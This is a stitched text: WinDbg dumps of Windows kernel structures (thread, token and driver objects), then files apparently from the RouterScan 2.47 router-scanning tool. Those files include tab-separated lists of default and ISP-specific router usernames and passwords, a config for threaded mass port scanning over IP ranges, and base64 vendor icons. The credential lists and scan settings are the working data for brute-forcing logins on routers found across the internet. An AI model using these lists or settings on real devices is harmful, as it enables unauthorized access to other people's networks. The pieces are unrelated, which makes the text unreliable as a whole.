   +0x394 Win32StartAddress : Ptr32 Void

   +0x398 LegacyPowerObject : Ptr32 Void

   +0x39c ThreadListEntry  : _LIST_ENTRY

   +0x3a4 RundownProtect   : _EX_RUNDOWN_REF

   +0x3a8 ThreadLock       : _EX_PUSH_LOCK

   +0x3ac ReadClusterSize  : Uint4B

   +0x3b0 MmLockOrdering   : Int4B

   +0x3b4 CmLockOrdering   : Int4B

   +0x3b8 CrossThreadFlags : Uint4B

   +0x3b8 Terminated       : Pos 0, 1 Bit

   +0x3b8 ThreadInserted   : Pos 1, 1 Bit

   +0x3b8 HideFromDebugger : Pos 2, 1 Bit

   +0x3b8 ActiveImpersonationInfo : Pos 3, 1 Bit

   +0x3b8 HardErrorsAreDisabled : Pos 4, 1 Bit

   +0x3b8 BreakOnTermination : Pos 5, 1 Bit

   +0x3b8 SkipCreationMsg  : Pos 6, 1 Bit

   +0x3b8 SkipTerminationMsg : Pos 7, 1 Bit

   +0x3b8 CopyTokenOnOpen  : Pos 8, 1 Bit

   +0x3b8 ThreadIoPriority : Pos 9, 3 Bits

   +0x3b8 ThreadPagePriority : Pos 12, 3 Bits

   +0x3b8 RundownFail      : Pos 15, 1 Bit

   +0x3b8 UmsForceQueueTermination : Pos 16, 1 Bit

   +0x3b8 ReservedCrossThreadFlags : Pos 17, 15 Bits

   +0x3bc SameThreadPassiveFlags : Uint4B

   +0x3bc ActiveExWorker   : Pos 0, 1 Bit

   +0x3bc MemoryMaker      : Pos 1, 1 Bit

   +0x3bc ClonedThread     : Pos 2, 1 Bit

   +0x3bc KeyedEventInUse  : Pos 3, 1 Bit

   +0x3bc SelfTerminate    : Pos 4, 1 Bit

   +0x3c0 SameThreadApcFlags : Uint4B

   +0x3c0 OwnsProcessAddressSpaceExclusive : Pos 0, 1 Bit

   +0x3c0 OwnsProcessAddressSpaceShared : Pos 1, 1 Bit

   +0x3c0 HardFaultBehavior : Pos 2, 1 Bit

   +0x3c0 StartAddressInvalid : Pos 3, 1 Bit

   +0x3c0 EtwCalloutActive : Pos 4, 1 Bit

   +0x3c0 SuppressSymbolLoad : Pos 5, 1 Bit

   +0x3c0 Prefetching      : Pos 6, 1 Bit

   +0x3c0 OwnsVadExclusive : Pos 7, 1 Bit

   +0x3c1 SystemPagePriorityActive : Pos 0, 1 Bit

   +0x3c1 SystemPagePriority : Pos 1, 3 Bits

   +0x3c4 CacheManagerActive : UChar

   +0x3c5 DisablePageFaultClustering : UChar

   +0x3c6 ActiveFaultCount : UChar

   +0x3c7 LockOrderState   : UChar

   +0x3c8 AlpcMessageId    : Uint4B

   +0x3cc AlpcMessage      : Ptr32 Void

   +0x3cc AlpcReceiveAttributeSet : Uint4B

   +0x3d0 ExitStatus       : Int4B

   +0x3d4 AlpcWaitListEntry : _LIST_ENTRY

   +0x3dc CacheManagerCount : Uint4B

   +0x3e0 IoBoostCount     : Uint4B

   +0x3e4 BoostList        : _LIST_ENTRY

   +0x3ec DeboostList      : _LIST_ENTRY

   +0x3f4 BoostListLock    : Uint4B

   +0x3f8 IrpListLock      : Uint4B

   +0x3fc ReservedForSynchTracking : Ptr32 Void

   +0x400 CmCallbackListHead : _SINGLE_LIST_ENTRY

   +0x404 ActivityId       : Ptr32 _GUID

   +0x408 SeLearningModeListHead : _SINGLE_LIST_ENTRY

   +0x40c VerifierContext  : Ptr32 Void

   +0x410 KernelStackReference : Uint4B

   +0x414 AdjustedClientToken : Ptr32 Void

   +0x418 WorkingOnBehalfClient : Ptr32 _ETHREAD

   +0x41c EnergyValues     : Ptr32 _PROCESS_ENERGY_VALUES



--------------------------------------------------------------------------------------------

kd> dt nt!_KTHREAD

   +0x000 Header           : _DISPATCHER_HEADER

   +0x010 SListFaultAddress : Ptr32 Void

   +0x018 QuantumTarget    : Uint8B

   +0x020 InitialStack     : Ptr32 Void

   +0x024 StackLimit       : Ptr32 Void

   +0x028 StackBase        : Ptr32 Void

   +0x02c ThreadLock       : Uint4B

   +0x030 CycleTime        : Uint8B

   +0x038 HighCycleTime    : Uint4B

   +0x03c ServiceTable     : Ptr32 Void

   +0x040 CurrentRunTime   : Uint4B

   +0x044 ExpectedRunTime  : Uint4B

   +0x048 KernelStack      : Ptr32 Void

   +0x04c StateSaveArea    : Ptr32 _XSAVE_FORMAT

   +0x050 SchedulingGroup  : Ptr32 _KSCHEDULING_GROUP

   +0x054 WaitRegister     : _KWAIT_STATUS_REGISTER

   +0x055 Running          : UChar

   +0x056 Alerted          : [2] UChar

   +0x058 AutoBoostActive  : Pos 0, 1 Bit

   +0x058 ReadyTransition  : Pos 1, 1 Bit

   +0x058 ProcessReadyQueue : Pos 2, 1 Bit

   +0x058 WaitNext         : Pos 3, 1 Bit

   +0x058 SystemAffinityActive : Pos 4, 1 Bit

   +0x058 Alertable        : Pos 5, 1 Bit

   +0x058 UserStackWalkActive : Pos 6, 1 Bit

   +0x058 ApcInterruptRequest : Pos 7, 1 Bit

   +0x058 QuantumEndMigrate : Pos 8, 1 Bit

   +0x058 UmsDirectedSwitchEnable : Pos 9, 1 Bit

   +0x058 TimerActive      : Pos 10, 1 Bit

   +0x058 SystemThread     : Pos 11, 1 Bit

   +0x058 ProcessDetachActive : Pos 12, 1 Bit

   +0x058 CalloutActive    : Pos 13, 1 Bit

   +0x058 ScbReadyQueue    : Pos 14, 1 Bit

   +0x058 ApcQueueable     : Pos 15, 1 Bit

   +0x058 ReservedStackInUse : Pos 16, 1 Bit

   +0x058 UmsPerformingSyscall : Pos 17, 1 Bit

   +0x058 ApcPendingReload : Pos 18, 1 Bit

   +0x058 TimerSuspended   : Pos 19, 1 Bit

   +0x058 SuspendedWaitMode : Pos 20, 1 Bit

   +0x058 Reserved         : Pos 21, 11 Bits

   +0x058 MiscFlags        : Int4B

   +0x05c AutoAlignment    : Pos 0, 1 Bit

   +0x05c DisableBoost     : Pos 1, 1 Bit

   +0x05c UserAffinitySet  : Pos 2, 1 Bit

   +0x05c AlertedByThreadId : Pos 3, 1 Bit

   +0x05c QuantumDonation  : Pos 4, 1 Bit

   +0x05c EnableStackSwap  : Pos 5, 1 Bit

   +0x05c GuiThread        : Pos 6, 1 Bit

   +0x05c DisableQuantum   : Pos 7, 1 Bit

   +0x05c ChargeOnlySchedulingGroup : Pos 8, 1 Bit

   +0x05c DeferPreemption  : Pos 9, 1 Bit

   +0x05c QueueDeferPreemption : Pos 10, 1 Bit

   +0x05c ForceDeferSchedule : Pos 11, 1 Bit

   +0x05c SharedReadyQueueAffinity : Pos 12, 1 Bit

   +0x05c FreezeCount      : Pos 13, 1 Bit

   +0x05c TerminationApcRequest : Pos 14, 1 Bit

   +0x05c AutoBoostEntriesExhausted : Pos 15, 1 Bit

   +0x05c KernelStackResident : Pos 16, 1 Bit

   +0x05c ThreadFlagsSpare : Pos 17, 7 Bits

   +0x05c EtwStackTraceApcInserted : Pos 24, 8 Bits

   +0x05c ThreadFlags      : Int4B

   +0x060 Tag              : UChar

   +0x061 SystemHeteroCpuPolicy : UChar

   +0x062 UserHeteroCpuPolicy : Pos 0, 7 Bits

   +0x062 ExplicitSystemHeteroCpuPolicy : Pos 7, 1 Bit

   +0x063 Spare0           : [1] UChar

   +0x064 SystemCallNumber : Uint4B

   +0x068 FirstArgument    : Ptr32 Void

   +0x06c TrapFrame        : Ptr32 _KTRAP_FRAME

   +0x070 ApcState         : _KAPC_STATE

   +0x070 ApcStateFill     : [23] UChar

   +0x087 Priority         : Char

   +0x088 UserIdealProcessor : Uint4B

   +0x08c ContextSwitches  : Uint4B

   +0x090 State            : UChar

   +0x091 NpxState         : Char

   +0x092 WaitIrql         : UChar

   +0x093 WaitMode         : Char

   +0x094 WaitStatus       : Int4B

   +0x098 WaitBlockList    : Ptr32 _KWAIT_BLOCK

   +0x09c WaitListEntry    : _LIST_ENTRY

   +0x09c SwapListEntry    : _SINGLE_LIST_ENTRY

   +0x0a4 Queue            : Ptr32 _DISPATCHER_HEADER

   +0x0a8 Teb              : Ptr32 Void

   +0x0b0 RelativeTimerBias : Uint8B

   +0x0b8 Timer            : _KTIMER

   +0x0e0 WaitBlock        : [4] _KWAIT_BLOCK

   +0x0e0 WaitBlockFill8   : [20] UChar

   +0x0f4 ThreadCounters   : Ptr32 _KTHREAD_COUNTERS

   +0x0e0 WaitBlockFill9   : [44] UChar

   +0x10c XStateSave       : Ptr32 _XSTATE_SAVE

   +0x0e0 WaitBlockFill10  : [68] UChar

   +0x124 Win32Thread      : Ptr32 Void

   +0x0e0 WaitBlockFill11  : [88] UChar

   +0x138 WaitTime         : Uint4B

   +0x13c KernelApcDisable : Int2B

   +0x13e SpecialApcDisable : Int2B

   +0x13c CombinedApcDisable : Uint4B

   +0x140 QueueListEntry   : _LIST_ENTRY

   +0x148 NextProcessor    : Uint4B

   +0x148 NextProcessorNumber : Pos 0, 31 Bits

   +0x148 SharedReadyQueue : Pos 31, 1 Bit

   +0x14c QueuePriority    : Int4B

   +0x150 Process          : Ptr32 _KPROCESS

   +0x154 UserAffinity     : _GROUP_AFFINITY

   +0x154 UserAffinityFill : [6] UChar

   +0x15a PreviousMode     : Char

   +0x15b BasePriority     : Char

   +0x15c PriorityDecrement : Char

   +0x15c ForegroundBoost  : Pos 0, 4 Bits

   +0x15c UnusualBoost     : Pos 4, 4 Bits

   +0x15d Preempted        : UChar

   +0x15e AdjustReason     : UChar

   +0x15f AdjustIncrement  : Char

   +0x160 Affinity         : _GROUP_AFFINITY

   +0x160 AffinityFill     : [6] UChar

   +0x166 ApcStateIndex    : UChar

   +0x167 WaitBlockCount   : UChar

   +0x168 IdealProcessor   : Uint4B

   +0x16c ApcStatePointer  : [2] Ptr32 _KAPC_STATE

   +0x174 SavedApcState    : _KAPC_STATE

   +0x174 SavedApcStateFill : [23] UChar

   +0x18b WaitReason       : UChar

   +0x18c SuspendCount     : Char

   +0x18d Saturation       : Char

   +0x18e SListFaultCount  : Uint2B

   +0x190 SchedulerApc     : _KAPC

   +0x190 SchedulerApcFill0 : [1] UChar

   +0x191 ResourceIndex    : UChar

   +0x190 SchedulerApcFill1 : [3] UChar

   +0x193 QuantumReset     : UChar

   +0x190 SchedulerApcFill2 : [4] UChar

   +0x194 KernelTime       : Uint4B

   +0x190 SchedulerApcFill3 : [36] UChar

   +0x1b4 WaitPrcb         : Ptr32 _KPRCB

   +0x190 SchedulerApcFill4 : [40] UChar

   +0x1b8 LegoData         : Ptr32 Void

   +0x190 SchedulerApcFill5 : [47] UChar

   +0x1bf CallbackNestingLevel : UChar

   +0x1c0 UserTime         : Uint4B

   +0x1c4 SuspendEvent     : _KEVENT

   +0x1d4 ThreadListEntry  : _LIST_ENTRY

   +0x1dc MutantListHead   : _LIST_ENTRY

   +0x1e4 AbEntrySummary   : UChar

   +0x1e5 AbWaitEntryCount : UChar

   +0x1e6 Spare20          : Uint2B

   +0x1e8 LockEntries      : [6] _KLOCK_ENTRY

   +0x308 PropagateBoostsEntry : _SINGLE_LIST_ENTRY

   +0x30c IoSelfBoostsEntry : _SINGLE_LIST_ENTRY

   +0x310 PriorityFloorCounts : [16] UChar

   +0x320 PriorityFloorSummary : Uint4B

   +0x324 AbCompletedIoBoostCount : Int4B

   +0x328 AbReferenceCount : Int2B

   +0x32a AbOrphanedEntrySummary : UChar

   +0x32b AbOwnedEntryCount : UChar

   +0x32c ForegroundLossTime : Uint4B

   +0x330 GlobalForegroundListEntry : _LIST_ENTRY

   +0x330 ForegroundDpcStackListEntry : _SINGLE_LIST_ENTRY

   +0x334 InGlobalForegroundList : Uint4B



  

-------------------------------------------------------------------------------------------------------

kd> dt nt!_KAPC_STATE

   +0x000 ApcListHead      : [2] _LIST_ENTRY

   +0x010 Process          : Ptr32 _KPROCESS

   +0x014 InProgressFlags  : UChar

   +0x014 KernelApcInProgress : Pos 0, 1 Bit

   +0x014 SpecialApcInProgress : Pos 1, 1 Bit

   +0x015 KernelApcPending : UChar

   +0x016 UserApcPending   : UChar

---------------------------------------------------------------------------------------------------------

kd> dt nt!_DRIVER_OBJECT

   +0x000 Type             : Int2B

   +0x002 Size             : Int2B

   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT

   +0x008 Flags            : Uint4B

   +0x00c DriverStart      : Ptr32 Void

   +0x010 DriverSize       : Uint4B

   +0x014 DriverSection    : Ptr32 Void

   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION

   +0x01c DriverName       : _UNICODE_STRING

   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING

   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH

   +0x02c DriverInit       : Ptr32     long 

   +0x030 DriverStartIo    : Ptr32     void 

   +0x034 DriverUnload     : Ptr32     void 

   +0x038 MajorFunction    : [28] Ptr32     long 

---------------------------------------------------------------------------------------------------------

kd> dt nt!_TOKEN

   +0x000 TokenSource      : _TOKEN_SOURCE

   +0x010 TokenId          : _LUID

   +0x018 AuthenticationId : _LUID

   +0x020 ParentTokenId    : _LUID

   +0x028 ExpirationTime   : _LARGE_INTEGER

   +0x030 TokenLock        : Ptr32 _ERESOURCE

   +0x034 ModifiedId       : _LUID

   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES

   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY

   +0x078 SessionId        : Uint4B

   +0x07c UserAndGroupCount : Uint4B

   +0x080 RestrictedSidCount : Uint4B

   +0x084 VariableLength   : Uint4B

   +0x088 DynamicCharged   : Uint4B

   +0x08c DynamicAvailable : Uint4B

   +0x090 DefaultOwnerIndex : Uint4B

   +0x094 UserAndGroups    : Ptr32 _SID_AND_ATTRIBUTES

   +0x098 RestrictedSids   : Ptr32 _SID_AND_ATTRIBUTES

   +0x09c PrimaryGroup     : Ptr32 Void

   +0x0a0 DynamicPart      : Ptr32 Uint4B

   +0x0a4 DefaultDacl      : Ptr32 _ACL

   +0x0a8 TokenType        : _TOKEN_TYPE

   +0x0ac ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL

   +0x0b0 TokenFlags       : Uint4B

   +0x0b4 TokenInUse       : UChar

   +0x0b8 IntegrityLevelIndex : Uint4B

   +0x0bc MandatoryPolicy  : Uint4B

   +0x0c0 LogonSession     : Ptr32 _SEP_LOGON_SESSION_REFERENCES

   +0x0c4 OriginatingLogonSession : _LUID

   +0x0cc SidHash          : _SID_AND_ATTRIBUTES_HASH

   +0x154 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH

   +0x1dc pSecurityAttributes : Ptr32 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION

   +0x1e0 Package          : Ptr32 Void

   +0x1e4 Capabilities     : Ptr32 _SID_AND_ATTRIBUTES

   +0x1e8 CapabilityCount  : Uint4B

   +0x1ec CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH

   +0x274 LowboxNumberEntry : Ptr32 _SEP_LOWBOX_NUMBER_ENTRY

   +0x278 LowboxHandlesEntry : Ptr32 _SEP_LOWBOX_HANDLES_ENTRY

   +0x27c pClaimAttributes : Ptr32 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION

   +0x280 TrustLevelSid    : Ptr32 Void

   +0x284 TrustLinkedToken : Ptr32 _TOKEN

   +0x288 IntegrityLevelSidValue : Ptr32 Void

   +0x28c TokenSidValues   : Ptr32 _SEP_SID_VALUES_BLOCK

   +0x290 VariablePart     : Uint4B

------------------------------------------------------------------------------------------------------
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RouterScan2.47/auth_basic.txt

# Login/password pair file (Basic Authentication)

# pairs splitted by <tab>'s [0x09]

...other strings are just ignored



# ASCII/ANSI only, no unicode!



# P.S. avoid duplicated pairs, Router Scan doesn't check for it



// default pairs

admin	<empty>

admin	admin

admin	1234

admin	password

Admin	Admin

<empty>	admin

admin  88888888

root	<empty>

root	admin

root	root

<empty>	root

<empty>	<empty>

support	<empty>

support	support



// ISP specific

admin	onlime

admin	mts

mts	mts

//华为HG8245无线路由猫

telecomadmin	admintelecom

telecomadmin    nE7jA%5m

mgts	mtsoao

kyivstar	kyivstar

telekom	telekom



// more pairs added by Stas'M

admin	1

admin	123

admin	0000

admin	00000000

admin	12345

admin	123456

admin	1234567

admin	12345678

admin	123456789

admin	1234567890

admin	qwerty

admin	beeline

admin	beeline2013

admin	iyeh

admin	ghbdtn

admin	inet

admin	internet

admin	asus

admin	root

admin	ADMIN

admin	adsl

admin	adslroot

admin	adsladmin

admin	Kendalf9

admin	263297

admin	590152

admin	21232

admin	adn8pzszk

admin	amvqnekk

admin	biyshs9eq

admin	e2b81d_1

admin	Dkdk8e89

admin	flvbyctnb

admin	qweasdOP

admin	EbS2P8

admin	ZmqVfo

admin	ZmqVfo1

admin	ZmqVfo2

admin	ZmqVfo3

admin	ZmqVfo4

admin	ZmqVfoVPN

admin	ZmqVfoSIP

admin	9f4r5r79//

admin	airocon

admin	zyxel

adsl	realtek

osteam	5up

root	toor

ZXDSL	ZXDSL

<empty>	support

// Cisco pairs

<empty>	Cisco

Cisco	Cisco

<empty>	cisco

cisco	cisco

admin	default

admin	cisco

admin	changeme

<empty>	c

<empty>	cc

<empty>	Cisco router

<empty>	letmein

<empty>	_Cisco

enable	cisco

pnadmin	pnadmin

root	attack

root	Cisco

admin   1qaz2wsx

// user access

user	<empty>

user	user

<empty>	user



//Netipia R7100路由器

netopia netopia

//艾玛701H

admin    epicrouter

SZIM     SZIM

//实达2110EH ROUTER

user  password

root  grouter 

//神州数码/华硕

adsl  adsl1234

//普天

admin dare

//zyxel

anonymous 1234

anonymous 12345

admin  qxcomm1680

admin  qxcommsupport

admin  qxcomm1688

supervisor 12345

admin  conexant

root grouter

broadmax  broadmax

admin utstar

admin adminHome

admin daree-tek

admin 12345zyxel

adsl adsl831

putian 123456

user benq1234

admin utstar0

root utstar0













































RouterScan2.47/auth_digest.txt

# Login/password pair file (Digest Authentication)

# pairs splitted by <tab>'s [0x09]

...other strings are just ignored



# ASCII/ANSI only, no unicode!



# P.S. avoid duplicated pairs, Router Scan doesn't check for it

# P.P.S. a pair with <empty> login is not supported for digest authentication



// default pairs

admin	<empty>

admin	admin

admin	1234

admin	password

Admin	Admin

root	<empty>

root	admin

root	root

support	<empty>

support	support

super	super

super	APR@xuniL



// ISP specific

admin	onlime

admin	mts

mts	mts

telecomadmin	admintelecom

mgts	mtsoao

kyivstar	kyivstar

telekom	telekom



// more pairs added by Stas'M

admin	1

admin	123

admin	0000

admin	00000000

admin	12345

admin	123456

admin	1234567

admin	12345678

admin	123456789

admin	1234567890

admin	qwerty

admin	beeline

admin	beeline2013

admin	iyeh

admin	ghbdtn

admin	inet

admin	internet

admin	asus

admin	root

admin	ADMIN

admin	adsl

admin	adslroot

admin	adsladmin

admin	Kendalf9

admin	263297

admin	590152

admin	21232

admin	adn8pzszk

admin	amvqnekk

admin	biyshs9eq

admin	e2b81d_1

admin	Dkdk8e89

admin	flvbyctnb

admin	qweasdOP

admin	EbS2P8

admin	FhF8WS

admin	ZmqVfo

admin	ZmqVfo1

admin	ZmqVfo2

admin	ZmqVfo3

admin	ZmqVfo4

admin	ZmqVfoVPN

admin	ZmqVfoSIP

admin	ZmqVfoN1

admin	ZmqVfoN2

admin	ZmqVfoN3

admin	ZmqVfoN4

admin	9f4r5r79//

admin	airocon

admin	zyxel

adsl	realtek

osteam	5up

root	toor

ZXDSL	ZXDSL



// Cisco pairs

Cisco	Cisco

cisco	cisco

admin	default

admin	cisco

admin	changeme

enable	cisco

pnadmin	pnadmin

root	attack

root	Cisco



// user access

user	<empty>

user	user









RouterScan2.47/config.ini

[PortScan]

ScanMode=0

Threads=300

Timeout.Connect.Value=2000

Timeout.Thread.Value=120000

Timeout.Thread.Unlimit=0

Ranges=ranges.txt

Ports=ports.txt

StopAction=0

SilentMode=0



[Output]

AutoSave=0

SaveTab=0

Interval=0

Format=xml



[HTTP]

Proxy.Enable=0

Proxy.IP=127.0.0.1

Proxy.Port=8888

UserAgent=Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1



[Modules]

RouterScan=1

ProxyCheck=0

HNAP=1

SQLite=0

Hudson=0



[RouterScan]

Detection.CustomPage.Enable=0

Detection.CustomPage.Path=/admin/

Auth.Basic.DualCheck=0

Auth.Basic.PairFile=auth_basic.txt

Auth.Digest.PairFile=auth_digest.txt

Auth.Custom.Enable=0

Auth.Custom.Username=admin

Auth.Custom.Password=qwerty



[GUI]

Tab.DblClick=0

Tab.Realtime.Follow=1

Tab.Good.Follow=1

Tab.Good.Wireless=0

Tab.Good.TurnOff=0

Search.Text=

Search.Case=0

Search.All=0

Browser.AutoAuth=1

Browser.UseCustom=0

Browser.Exec=

ColWidth.IP=96

ColWidth.Port=36

ColWidth.Time=50

ColWidth.Status=124

ColWidth.Auth=106

ColWidth.Type=296

ColWidth.RadioOff=52

ColWidth.Hidden=40

ColWidth.BSSID=102

ColWidth.SSID=96

ColWidth.Sec=80

ColWidth.Key=96

ColWidth.WPS=60

ColWidth.LANIP=96

ColWidth.LANMask=96

ColWidth.WANIP=96

ColWidth.WANMask=96

ColWidth.WANGate=96

ColWidth.DNS=240

ColWidth.Lat=116

ColWidth.Long=116

ColWidth.Comment=400









RouterScan2.47/help/data/routers.js

imgWorldwide = "data:image/gif;base64,R0lGODlhEAAQAMQQAP///8zMzJmZmTPMMwDMAACZ/wCZMwCZAABm/wBmAAAzzAAzAAAA/wAAzAAAmQAAM////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABAALAAAAAAQABAAAAWOICRCQSkIQzmuARAMA0EkjrKSQHwYCc0wi5HgNTMUEAiFotEIAnKH3VFJODh6JUChcEAUFIeF4foaFgzIacNRgxEWqIDxu4S5wwbX4KD8EYhVcDkyCT8MD3dhKTEyfEAyVQdDjIRLTA9RCQEQbjILTEwODwsJI3sHD6ANCQdNNwafoWwPNjckAg+5D0MrIQA7";

imgMfc_AnyData = "data:image/png;base64,";

imgMfc_ASUS = "data:image/png;base64,";

imgMfc_Cisco = "data:image/gif;base64,R0lGODlhEAAQAKIGAMx/f7tUVPDZ2dyoqC9mgZkAAP///wAAACH5BAEAAAYALAAAAAAQABAAAAM2aLrc/pA0GeeT2GSq+/bgJ1oMB53GUKhpEbSCOhiFIdQF0O7FbdcGwKrG6slqgRVMhmo6n4sEADs";

imgMfc_DLink = "data:image/ico;base64,AAABAAEAEBAQAAEABAAoAQAAFgAAACgAAAAQAAAAIAAAAAEABAAAAAAAAAAAABILAAASCwAAEAAAAAAAAADwyqYAqj8qAKp/KgD/fyoA/59VAP+ffwD/v38A8Pv/AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEREREREREREXiId4h4MREROIiDCIiDERE3iIMQeIgxETiIgxOIiDEROIiDETiIghE3iIMREIiIETiIgxETiIgROIiDERCIiBE4iIMROIiFETiIgxOIiIEROIiDEIiIMRE4iINoiIMREXiIiIiIMRERREREREIREREREREREREREAAHIAAABQAAAAbwAAAGkAAABlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

imgMfc_EDIMAX = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA1ElEQVR4nKXTMUoEQRQE0Lf2fNBIAxMxNljNPIYYKSJ4BU9hLngYwcgjGJhtIiKiiQdQpKHXwIl2emd058OPqqu6iupm5EwiYg9rqwo0OMINJqs6aPCIg55zT3ipCkBEHOO2R+AV05zz5yKQIKX0jHNsLxHYxFZK6a6U0hUopZSU0gfOelwc4r6U8taJ0MZY95t19z9RFusbqvMb82WEU+z0kDMucs5fHYG2yquB26/xUEUi4iQi5j07i4iNGvevD2mG9xrQ4BL7A/an7VYdjPpMo+cHzfw1YjsqfxUAAAAASUVORK5CYII";

imgMfc_Huawei = "data:image/png;base64,";

imgMfc_Intercross = "data:image/png;base64,";

imgMfc_LevelOne = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABK0lEQVR4nK3SO0pDURDG8d9N4qMR4wtfJEFwDzap7G0E95MVaGuh2BlQcBPuwUYbMWDwQRJJUMHkWtyj5mGiiB8cDsPMnDPzn4koFXCOHG6wg9NeOw521O+X8qPamMRUsDs93szo5BgFbGIal7jANaLPB5ooYwH3uMUuZlBnvcLaHrJs1IhvaZWpz9PuRJRWcRJ6qmAbVUpDKrJE44yjFepxJlSRCyeF9A9Q0lTyvKzyK4jdaoT7Cs+IBhg84BWLlMbwFri0k5bKyLSoHZOaQycjmVHR19xz2EdewmQL1eTnqiQ+KmIFAwxgHMsJLO1eJlFgII+/MBjUd3tw18ek1ZfTwjGGMih32ZXg79ZH/FAGE0bvxf8zeMIhZvEomdVB6LEmYdStZvBnEb8DYLZWidSvqNgAAAAASUVORK5CYII";

imgMfc_NETGEAR = "data:image/png;base64,";

imgMfc_Tenda = "data:image/png;base64,";

imgMfc_Thomson = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABIklEQVR4nL3TMUgCURzH8e+J4AMhCG4RDm26IcQpHMoWIWzM2hoiggaxoLnlaGq9JYp0vi2dW5yaDmm4wcitcJS2gxcc2GB35L0uUKHf/P9/3v/9eU9r94MJSyS1TPNCgJA+QvqLA9tHW+zuGBEyH/AZAODnCkgtA4DW7gcTIX3ynVZU91HcZFwq/4mQSQOQBsh3WqzfXkU1o2o9GfhuDJMCeN8/5enmEYBBw6J/ef9rr+nYmI6tAlJkGZfK+LkCK6+ecgpMt/9zyhkgzNveMUavi+65SmHx+pxw2kRgeHAGQKVZw3RshPTRPZcN6wSj12XQsJAiOwNo8aesey6VZk2ZYFStT3cTu54ChMjawx2rL8/R1YaHFwqaCMyT//9M8XwBSFle/i92Dv4AAAAASUVORK5CYII";

imgMfc_TPLINK = "data:image/png;base64,";

imgMfc_TRENDnet = "data:image/jpeg;base64,";

imgMfc_Upvel = "data:image/png;base64,";

imgMfc_ZTE = "data:image/png;base64,";

imgMfc_ZyXEL = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAARVBMVEX7/fz9/fUVNo4TLYoNNJMMNIv1/PT09vQTOZPz+vwFMoqmtdcFNYYLK4MbNYQLKopIWpgULIcYM5QEK30LM4OJn8iNnckZ80UEAAAACXBIWXMAAABIAAAASABGyWs+AAAAVUlEQVQY042OyxaAIAhEIe2dmfb4/08NWThUm+5uLgMHoh9wU3FeTQs8ep0KrrkvcTCHdD7i7iTRzZgvQcRq+lHyxs/9hP1c8o5+MH+pON7ivADTlxsyRQNKQLozigAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxNC0wMS0xNVQwMDowOTowOSswNDowMOoqo4wAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTQtMDEtMTVUMDA6MDk6MDkrMDQ6MDCbdxswAAAAAElFTkSuQmCC";

imgMfc_DDWRT = "data:image/png;base64,";

imgMfc_Cmotech = "data:image/png;base64,";

imgMfc_Conel = "data:image/png;base64,";

imgMfc_AirTies = "data:image/png;base64,";

imgMfc_Tomato = "data:image/png;base64,";

imgMfc_DrayTek = "data:image/png;base64,";

imgMfc_Motorola = "data:image/png;base64,";

imgMfc_Netis = "data:image/png;base64,";

imgMfc_Pozitron = "data:image/png;base64,";

imgMfc_SerComm = "data:image/png;base64,";

imgMfc_MikroTik = "data:image/png;base64,";

imgMfc_AirOS = "data:image/png;base64,";

imgMfc_Realtek = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAiElEQVR4Xq2TAQqAMBRCO9qO1tG8mUEID5I/IhIkMuefjR0/wGee6+Ye+FhrR1SEFwOtBDkB4fsAQwSXMbU62AyMwVQJYggJb3+LdKX37OtuJ++wPAXSRX++RdMwvfthbG04mqLhVA1hIVohO6gA1uynB/MOOkAYKkDlScB6CGj7f8RJfbqNwQUB8Pg6axpt+gAAAABJRU5ErkJggg";

imgMfc_Broadcom = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAyElEQVR4nO3QsUqCYRjF8d8XUlNUNLwgyDsEWWQ41RiB4CJNXUMFbW6CN9EduDroBdglFF5Bk001vA1hUxANfUGDn1KrneXh8Bz+D+fhX1nRIoUY0Mc9OtvPk49ZuZU58CpOcYatotA8wE4+N/4KOMQb1hF/BUghZqjhDq84WAhIIe6lEMu5XUUZYzxi90eumkKsfPsshdhFHSeY4gYv6OHc1xOPcYVLtPJqI0xKOMI7rvNLbaxhgFs8oYEhHnCBfTSxWVRtmfQJfVUjc3R27nkAAAAASUVORK5CYII";

imgMfc_Ralink = "data:image/png;base64,";

imgMfc_Gigabyte = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA5UlEQVR4nMWSwW0CMRBFn1EKoAS4c2A1LgA6gA5CBdlUEDqAdLAl0AEU4JE4cMgNOsAXzpsDAYbRiiQQKV/yYb78rO9vw38r2EEkDYAXYAC0mwDVeMU8GXgGlL9N0HoEBggiqQNsnf+qGuc/TTC6F4ZjB76syg4iaW/2ZKBQjTub4DtZeGjhU4LsgBKYOi9XH8+5d9jMnP/eAhbOfBNJ9kUyMOwdNh2O/+O0dgEWAUAkLb/MJhWqcV1DbbwqwAQuHYwbrgIwUY1r553h8wGqMQNdYOXg6hbcKJHUF0l979fgC/wbfQKlYEVVfvc0/gAAAABJRU5ErkJggg";

